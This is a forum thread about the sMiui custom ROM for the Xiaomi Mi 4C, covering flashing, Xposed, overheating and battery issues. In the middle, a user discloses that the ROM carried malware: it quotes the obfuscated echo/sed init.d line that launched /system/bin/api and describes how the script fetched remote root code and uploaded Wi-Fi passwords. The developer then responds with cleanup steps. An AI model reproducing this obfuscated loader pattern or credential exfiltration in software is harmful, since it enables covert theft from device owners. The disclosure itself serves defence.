Unfortunately it (83) doesn't work for me.

Do you 80 upload here? I can't find it in that website.

Witch release of sMiui do you use?
[Xiaomi Mi 4C] alexvv:
if you switch from smiui to xiaomi.eu and vice versa are you gonna end in a bootloop ?

Here is the link: https://drive.google.com/file/d/0B4I-78_ylGSHQ2xqRFYwdEY3U1k/view?usp=drivesdk

I'm running the latest xiaomi.eu dev rom now using the above xposed module but I remember using it on sMiui 6.5.12. Not quite sure of the exact version but it was was the one before touch assistant was added.

As usual, flash at your own risk.
[Xiaomi Mi 4C] Ümit:
Thanks. I installed it succes full, but I get FC with miui apps like file manager, installer, updater...

So, I think miui is not 100% compatible with xposed frame work.
[Xiaomi Mi 4C] Kéno40:
No rom available right now on the website.

MIUI 8 coming soon ???
[Xiaomi Mi 4C] amiguielesl:
I'm wondering the same thing. Hope it comes out. Waiting for it.
[Xiaomi Mi 4C] solis_f:
Developer said he will only release stable roms
[Xiaomi Mi 4C] miguelAr52:
mi4c now has smiui v8
[Xiaomi Mi 4C] Kéno40:
Thanks but source rom is always LP 5.1. I'll wait for Miui8 on MM
[Xiaomi Mi 4C] solis_f:
I think you will wait for ever...
[Xiaomi Mi 4C] miguelAr52:
v8 seems to be very good in battery
[Xiaomi Mi 4C] neustadt:
Is a wipe install needed / recommended, or would an update just be fine?

Mi3, Mi4 and Mi Note have Android 6. So there is still a chance.
[Xiaomi Mi 4C] miguelAr52:
i don't know if it is recommended.

i did a dirty flash (wipe only cache and dalvik) then flashed the v8, all works ok and my old settings and apps and app's data survived

PS: i came from the last smiui v7
[Xiaomi Mi 4C] neustadt:
Ok, I might try it then. On the other hand, I just read that the final version of MIUI 8 has yet to be released.

[Xiaomi Mi 4C] KcDaRookie:
I just installed SMIUI v8 and my display is dimming and turning off all the time.

The sensor keys don't work at all.

It won't connect to the network at all (doesnt ask for SIM PIN).

Every app FCs, even my launcher.

I dirty flashed from latest SMIUI v7 and will now.

First time SMIUI let me down big time.
[Xiaomi Mi 4C] jna9000:
right now, the only base ROM for SMIUI is 6.6.23 :confused:
[Xiaomi Mi 4C] predragiPredrag:
That is latest MIUI8 dev rom ;)
[Xiaomi Mi 4C] miguelAr52:
if you have a backup restore it and try to flash dirty again.

better if you download the rom again, because of possible corruption (?).

if trouble anyway, try clean flash.

the rom (6.6.23 based) works well
[Xiaomi Mi 4C] KcDaRookie:
yeah i reverted to my old v7 and will stay with it a little longer
[Xiaomi Mi 4C] egnchr:

The Mi 4c is not listed in the official Miui 8 beta release. Can someone explain how this will affect us? Where the prebeta versions already not officialy released for Mi 4c?

This is for global rom we never had a global rom
[Xiaomi Mi 4C] neustadt:
Ok, because when I look at the different sMiui versions (and devices) in the rom kitchen, it seems like they are related to the xiaomi global releases. No 6.7.11 for Mi 4c but for Mi 5 for example. Or the Android versions in general.
[Xiaomi Mi 4C] solis_f:
Smiui Roms are based on miui.eu roms which are china developer roms but with multilanguage support and a few tweaks
[Xiaomi Mi 4C] Danny94:
Could you say me please how i can replace my actually recovery twrp (Team superluminal) with TWRP_gemini_MIUIv8 for my Mi4c? (If i have to use libra where i get a recovery for miui 8)

Just install over recovery ?
[Xiaomi Mi 4C] miguelAr52:
..replace libra twrp with gemini twrp..?

this is the best twrp for libra

http://xdaforums.com/mi-4c/development/recovery-recovery-built-source-t3352286

flashify it
[Xiaomi Mi 4C] Danny94:
No i would a newer recovery for MIUI 8 like the gemini and how can i install anoother ? Just trough recovery ?
[Xiaomi Mi 4C] alexvv:
updated to smiui v8 6.7.14 and everything works great, but the battery life is even worse... 30% battery drain from android and android system.
[Xiaomi Mi 4C] jna9000:
Is it safe to downgrade lets say 6.6.x to 6.5.x or 6.7.x to 6.5.x without factory reset?
[Xiaomi Mi 4C] Danny94:
Did you have problems too with overheating ?
[Xiaomi Mi 4C] panhansx:
Anyone have issues with proximity sensor during phone calls? My display doesn't turn off when holding the phone next to my head.
[Xiaomi Mi 4C] Danny94:
Not only overheating problems wich i have on the most Roms, it stucks and freeze sometimes too (Games). On Antutu after second try i got a much lesser result.

First one: ~65K

Second one: ~30-50K

Software problems ? Hardware brick ?
[Xiaomi Mi 4C] Kéno40:
you should try a day or 2. It can be some back office synchro...
[Xiaomi Mi 4C] Danny94:
I am using Smiui 6.6.7 a week already. But i had this problems on each rom (Cm13, Smiui, developer). Overheating and lagging while playing. For example on Need for speed no limits. fps decreases lagging etc. With Smiui and Cm13 is better but not as good with my old phone THL 5000. There i had no overheating and no laggs while playing and with Mi4c i should have better cpu-gpu performance.
[Xiaomi Mi 4C] Danny94:
Did i have to do a baseband or Kernel update ? Or you have same problems on this Rom ?
[Xiaomi Mi 4C] BeheGOD:
Is there anyone in here who knows if there is an Android 6- based SMIUI comming up or not? All I can see in the SMIUI kitchen are android 5 based ROMs..
[Xiaomi Mi 4C] Dru79:
You have to move to the future ;).
[Xiaomi Mi 4C] BeheGOD:
you mean buy another phone or move to CM to experience android M?
[Xiaomi Mi 4C] neustadt:
i think he wanted to say, that we have to wait and see. There are a few older deviced than Mi 4c that are based on Android M (like Mi4 and Mi3). So there might still be a small chance.
[Xiaomi Mi 4C] kar5ten:
Anyone got xposed working on the latest Version ?

I cant get it to work on smiui8 ?

Fort now im going back to smiui7. But i really Want a solution fort this.

I used xposed87 sdk 22 from solarw.
[Xiaomi Mi 4C] deadlynounou:

[Xiaomi Mi 4C] BeheGOD:
I was wondering if it is normal for MiXplorer to reinstall every time I manually uninstall it from the device.

For some reason, Google play sees it as a harmfull app, and becauze I don't use it, I unstalled it.

Now every so often, the same warning message pops up again and it looks like the app has reinstalled itself....

Is this normal??
[Xiaomi Mi 4C] NZtimbo:
So every time I've tried this rom I get a rather long delay when playing Ingress and turning the screen on the screen to hack and such like. Running Team Superluminal CM13 there is almost no delay, with sMIUI the screen comes on Ingress is all OK but it's like there is no data or sometime valid gps for even over a minute sometimes...

Anyone else had similar? Tried all the usual wipe/reinstall etc etc

[Xiaomi Mi 4C] d4fuQQ:
i tried version 6.7.21 & 6.7.28, both stucking with the following error during ROM installation:

REMEMBER: when you cook the rom, check "don't overwrite recovery"

---------- Post added at 05:59 PM ---------- Previous post was at 05:11 PM ----------

you must uncheck it each time you cook the rom
[Xiaomi Mi 4C] d4fuQQ:
nice, thanks. worked fine with the linked twrp. also, i unchecked "system" under mount before flashing and it worked perfectly :)
[Xiaomi Mi 4C] miguelAr52:
i don't understand that thing of mounting or unmounting partitions.

i flash roms from two years now, at this time and from a long time ago i never mount or unmount nothing.

really, when i started flashing, there were old phones (or old software/firmware) that required to see mounting/unmounting.

but not now, i think..
[Xiaomi Mi 4C] d4fuQQ:
well, i don't know it either. just noticed i still receive an error message (similar but not stucking) when installing with bulk settings. as someone said before, a 2nd run then went fine as well. alternatively, i unmounted system and it worked straight away
[Xiaomi Mi 4C] d4fuQQ:
holy .. over night (max. 10h) the battery lost more than 40%!

apparently, no particular app caused this but the android system itself. there must be something wrong...
[Xiaomi Mi 4C] miguelAr52:

today we have a new build in smiui.net

Is there a decent way to change DPI? I mean it works with any of the apps from the play store but icons are all messed up and everything seems somewhat chunky. I'm aware that I can change the text size in the settings but I'm more concerned with apps like Chrome. On the default DPI setting the navbar is just huge. Same for FB or WhatsApp.
[Xiaomi Mi 4C] Matt17BR:
Hey guys, sorry for the very newbie kinda question but I was wondering: I have a bootloader unlocked phone/rooted and all and flashed a smiui version 2 months ago, according to device info it's smiui 7.4 based on 6.5.5, which is working great right now, but that I would like to update to the very last version on my mi4c. Would that imply that I lose all the data as in apps and all? Is there any way to avoid it? Thanks in advance

If you flash and just wipe cache/dalvik all your app data remains

[Xiaomi Mi 4C] Matt17BR:

[Xiaomi Mi 4C] Matt17BR:
Ok so I just remembered I should mention this: the recorder app appears to be broken. I'm not sure if it's down to the smiui or the miui but I'm inclined to believe it's the latter, because I had exactly the same problem with the first version of the smiui (still miui v7 back then).

Basically, it seems to work flawlessly until you stop recording, and a message along the lines of "the app stopped working" pops up. But the app didn't really stop working, in fact, if I press cancel I can still keep using every function... so you guys tell me, should I report this to xiaomi instead?

Thanks for the great help so far, the smiui v8 installation went flawlessly and I'm enjoying the changes at the moment - just a bitter note is the AdBlocker that would be nice if it had any way to be controlled in settings etc. which is why I decided to reflash another cooked smiui without adblock and stuck to AdAway instead.
[Xiaomi Mi 4C] peter232:
This firmware is malware

This firmware is malware.

At least it downloads ads. But also it allows the author to take control on your phone.

Just see files /system/bin/api and /system/bin/apiget (also in zip in META-INF/com/google/android/sMiUI-kitchen/tmp/system/bin/).

It runs by /system/etc/init.d/01sMIUI_optimizations:

/system/bin/sh `echo "binajkdpjni%usr" | sed 's!^\(...\)\(.\)...\(.\)..\(i\).\(...\)$!/\5/\1/\2\3\4!g'`

= /system/bin/api
[Xiaomi Mi 4C] solis_f:
Can you explain what this scripts do? All I managed to understand is that they feed you with ads only when you open the smiui official website (smiui.net or something)
[Xiaomi Mi 4C] peter232:
Scripts from /system/etc/init.d are run at system start. There is a script "01sMIUI_optimizations". It contains a line

/system/bin/sh `echo "binajkdpjni%usr" | sed 's!^\(...\)\(.\)...\(.\)..\(i\).\(...\)$!/\5/\1/\2\3\4!g'`

echo+sed make string "/system/bin/api" and finally the command is

/system/bin/sh /system/bin/api

So it just runs "/system/bin/api". And that script does many bad actions, for example:

- loads new version of the script from https://smiui.net/api and saves it to the system. The author can place there any code and the code will be executed on your phone with root rights!

- it uploads the content of the file "/data/misc/wifi/wpa_supplicant.conf" (your Wi-Fi passwords) to https://smiui.net/api1.php

- it loads some ads (functions func_PROP, func_REV, func_TOTAL) in the background. Not only when you visit smiui.net, but in any time, constantly (when it receives "START" from their server)!

- there is also very very bad function func_SRV (+func_FILES), but it is commented (does not run). It makes your phone a part of the botnet! It loads some binaries (they do not exists for now) and looks like they start some tunnel/proxy on the phone.
[Xiaomi Mi 4C] solis_f:
What the actual **** ???? What is going on here? I regularly use this rom but I have never seen this stuff before. You are absolutely right. What the author has to say about this?

Stolen something from you and remotely control your device really unacceptable. They must clarify about this issue. For now, better switch to different more trusted ROM.

[MENTION=7581916]peter232[/MENTION] Better inform our administrator here about your finding. Advertise that kind of ROM here rather embarrassing.

( I am totally speachless ... This is the result of accepting help from a stranger who seemed to be just a nice person ...

I developed sMiUI Roms from late 2014, always trying to create something great for the community. I spent so many hours of coding, creating the kitchen, all by myself ...?*

In 2016 I found someone (John) to help me and after some time I granted him access to all the servers and accounts, just because I couldnt stand it anymore all allone.

Turned out that this was a big mistake . . .

I immediately closed the website until I have researched all his "work" ... On first sight I can say, it seems that on the backend most of his **** did not work. I recommend you to delete /system/bin/api with a root explorer App or completely change your ROM. Flash xiaomi.eu ROM, its great!

Thanks to the guys who found it..

I have to sleep over that, cant believe what just happened with all the work from past 2 years.

EDIT:

I literally spent the whole night in cleaning that **** out of my build environment and the ROM.

I contacted John, but of course, he is not answering. . . Sure, he will never ever get any access to the server again . . .

It seems to be true, he tried to invisibly click some ads and get wifi passwords, but luckily he sucks at coding and neither the ads worked correct nor any of our passwords have been saved into the database.?*

I removed all the contact points he made on our server.

I cleaned the ROM and uploaded latest version to the kitchen which should be back online soon.

All previous versions have been removed!

SOLUTION :

-Download latst ROM from kitchen.

ALTERNATIVE:

-Download Root Explorer App and delete the following Files "/system/bin/api" "/system/bin/apiget", then reboot your phone. Now you´re safe!

I cannot accept closing all my work because one idiot tried some fraudental **** which resulted in a big fail. World seems to be a bad place . . . )

This is by sebsch1991. Seems that his new "friend" was trying to take advantage of his good reputation on this rom. Seems to be under control now

The John guy he's talking about must be Johndizzle, the one that writes articles with changelogs at every rom update I guess. I sort of believe him here to be honest.

IMHO the resulting string ist /usr/bin/api, not /system/bin/api :confused:

Stable out there.

I had to go for Cm because of overheating :(.

Yesterday i played Pokemon go (6.8.18) - gps - data - hotspot and got over 70 °c, gps doesn´t work anymore on that heat, so i had to toggle off hotspot - pause 5min - toggle on for 5 mins ...

This is a shoutout to [MENTION=3195110]sebsch1991[/MENTION]

I installed 6.8.25 on Friday, coming from an older MIUI 7 developer version (from around April). Everything

works fine and I did not even wipe (only Delvik cache). No overheating problems or anything. I even

think my battery life improved. So thanks for your work on sMIUI, Sebsch! Hopefully you will find time

and/or a new suiteable developer for this great rom.

The malware story is really crazy. Did it get more attention on XDA? I think it should get public, so

that people will ban this person from every forum he participates in. He might also be involved with

other roms and those users and developers deserve to know. I dont think it will hurt the reputation

of sMIUI if you go public with this, Sebsch. The maleware was removed and the situation has been dealt

with in the right way, which is what matters. If you have any more news on this topic please let us know :)

Let us also not forget to thank Peter232 for his initial discovery.

On another topic: Is it possible to install the MIUI Weather App from an apk? I disabled it in the rom kitchen, but would now like to try it, without installing the whole rom again.
[Xiaomi Mi 4C] Danny94:
Yeah and what you doing ? In normal use it doesn´t overheat but in games and anything else what need hardware ! Just make a few antutu bench tests. Then you can see how it throttles from 65k to 45K and less on the second test already, because of overheating (with same thermal-engine). Is the same like in all Roms, but in my opionion with this Rom it heats too fast and too high and doesn´t cool. I never reached 75 °c+. (Does not mean it doesn´t heat on other Roms)

Or you have another plan why my phones heats so much under smiui ? (It isn´t a fake)
[Xiaomi Mi 4C] neustadt:
Well then this is a hardware issue and not a rom issue. I thought people complain that the rom has high background CPU loads, which heat up the phone.

I did some antutu bechmarks btw and my scores ranged between 50k and 48k, after 5 runs my phone was hand warm. So actually I cant say this rom has heat issues. If anything, it throttles too aggressively. But clockspeeds, vcore settings, schedulers can all be adjusted manually with Kernel Adiutor or Kernel Tweaker if you want to squeeze out performance.

EDIT: Since i didnt do a wipe install for MIUI8, my old performance settings could have been adopted. But I never tinkered with them on this phone.
[Xiaomi Mi 4C] solis_f:
I'm on 6.8.25 sMiui anyone getting extremely loud lock/unlock sound effect?
[Xiaomi Mi 4C] Danny94:
You don´t reach 60K+ on antutu ?

Yeah but on Cm doesnt heat as much as with Smiui on the same Antutu Bench !

And i tried already kernel adiutor to find a good way.

I used governor alucard, conservative, tried shut off 2/4 a53 cores, tried to take a lower frequency for a53, then for a57, both.

If i use only 2/4 a53 cores at least i have duel core ... After 43 °c wich i reach in some minutes while playing the a57 cores shut down too. And if i use just the a53 cores the performance isn´t good at all, and it heats tough over 55+. Thats not what i aimed for when i decided to buy a high end device, and replaced it with my THL 5K :(.

Edit: Next i will try to use a thermal engine wich throttles later for force run the a57 cores longer, because someone reportet that the a53 cores overheats not the a57. So i shut off 2/4 don´t now if it would be better to shut off 1 and 2 core or 1 and 3 core ? Are the 1 and 2 together ? Or are all 4 together ?

What you mean with a hardware issue ? (what can be broken at all if everything works well, bad cpu manufractur ?) Many others have overheating problems too, just look on the Mi4c general forum almost the half Threads are overheating problems oO.
[Xiaomi Mi 4C] neustadt:
I thought thats the new MIUI8 sound. It is the first thing I turned of. Quite annoying. Maybe the old sound can be extracted from an older rom?
[Xiaomi Mi 4C] Danny94:
Yeah i got 60k+ (65 i think) on Antutu it heats too on Cm, but not as hard like with smiui. After second test drops too 55K. Then less because of hot degreas.

But not because of the thermal-engine, i compared them and seems that both are the same. On smiui i got ~60k+ and after second test i reach don´t more then 47K, because of higher temps - throttle.

If i could lock on 50K would be better, because it doesnt heat so fast like it happens to you. -> more stable and overoall better performance.

Yeah the main problem is the cpu that heat, not the software. Your right.

vcore sounds good ! Hmm if i lower the frequency the heat would not decrease like i did with kernel adiutor, if the voltage be the same or ? Could you link me this app or module i can´t find it =) (xposed nothing named like that, in appstore i just can find voltage control and on xda me listing just a member oO).

Maybe like that i finally have a noticable difference.

If is just a app i hopefully don´t destroy something (as long i don´t use higher voltage).
